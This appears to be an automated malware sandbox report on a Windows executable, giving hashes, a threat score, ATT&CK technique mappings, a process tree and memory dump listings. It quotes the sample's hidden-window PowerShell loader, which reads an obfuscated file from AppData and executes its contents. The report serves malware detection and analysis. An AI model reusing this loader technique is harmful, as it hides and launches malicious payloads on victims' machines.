125b4582b7dd2221044fb257f580da57e4dc61b03a6c35e208fed973f71c28a1

General

Target

125b4582b7dd2221044fb257f580da57e4dc61b03a6c35e208fed973f71c28a1.exe
Size

859KB
MD5

47fd98348b7d314e4e9dae46e5f1e1a1
SHA1

cafe48404707e61235bfbe6646d8072af4298e21
SHA256

125b4582b7dd2221044fb257f580da57e4dc61b03a6c35e208fed973f71c28a1
SHA512

8a1deda7d7e8e80d8b2e62ad0d9d4400b1d865ea322955e577fc439a8a0f1d6d3cb912397ecb6458941fd7fd566c1fdbdf4c4ed02c72234fa543bfcb45db845a
SSDEEP

12288:l9/IyjazmRR+BZhOLlpJjdCPwwdw6ETeVlCE7vkQymGwSW01hXqvjoaCi7lnsZzz:/A/KqZhOnJdyzp+alCJmvulW6Nd0vo

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2132	powershell.exe
2880	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	125b4582b7dd2221044fb257f580da57e4dc61b03a6c35e208fed973f71c28a1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2132	powershell.exe
2880	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2132	powershell.exe
Token: SeDebugPrivilege	2880	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1260 wrote to memory of 2132	1260	125b4582b7dd2221044fb257f580da57e4dc61b03a6c35e208fed973f71c28a1.exe	30
PID 1260 wrote to memory of 2132	1260	125b4582b7dd2221044fb257f580da57e4dc61b03a6c35e208fed973f71c28a1.exe	30
PID 1260 wrote to memory of 2132	1260	125b4582b7dd2221044fb257f580da57e4dc61b03a6c35e208fed973f71c28a1.exe	30
PID 1260 wrote to memory of 2132	1260	125b4582b7dd2221044fb257f580da57e4dc61b03a6c35e208fed973f71c28a1.exe	30
PID 1260 wrote to memory of 2880	1260	125b4582b7dd2221044fb257f580da57e4dc61b03a6c35e208fed973f71c28a1.exe	32
PID 1260 wrote to memory of 2880	1260	125b4582b7dd2221044fb257f580da57e4dc61b03a6c35e208fed973f71c28a1.exe	32
PID 1260 wrote to memory of 2880	1260	125b4582b7dd2221044fb257f580da57e4dc61b03a6c35e208fed973f71c28a1.exe	32
PID 1260 wrote to memory of 2880	1260	125b4582b7dd2221044fb257f580da57e4dc61b03a6c35e208fed973f71c28a1.exe	32

C:\Users\Admin\AppData\Local\Temp\125b4582b7dd2221044fb257f580da57e4dc61b03a6c35e208fed973f71c28a1.exe
"C:\Users\Admin\AppData\Local\Temp\125b4582b7dd2221044fb257f580da57e4dc61b03a6c35e208fed973f71c28a1.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1260
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2132
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
8b511b03e769af93845bfee11bb2f396

SHA1
6dc6fdbf99f1af8d23fa8b579009ea99434d5d73

SHA256
d7740880229460f654375f0a73f518c3ec3d54595ea12fbc2e810a7e688ed566

SHA512
1b15442907315a4902b587b5daedc688f60c0989abdfd0b93db82a913ea218f06575841b34586b3684c47ff650c2d32e1559736f9c7c24ffcab23d57d80dfc00

Download Submit
memory/2132-9-0x0000000074541000-0x0000000074542000-memory.dmp

Filesize
4KB

Download
memory/2132-10-0x0000000074540000-0x0000000074AEB000-memory.dmp

Filesize
5.7MB

Download
memory/2132-13-0x0000000074540000-0x0000000074AEB000-memory.dmp

Filesize
5.7MB

Download
memory/2132-12-0x0000000074540000-0x0000000074AEB000-memory.dmp

Filesize
5.7MB

Download
memory/2132-11-0x0000000074540000-0x0000000074AEB000-memory.dmp

Filesize
5.7MB

Download
memory/2132-19-0x0000000074540000-0x0000000074AEB000-memory.dmp

Filesize
5.7MB

Download

Analysis

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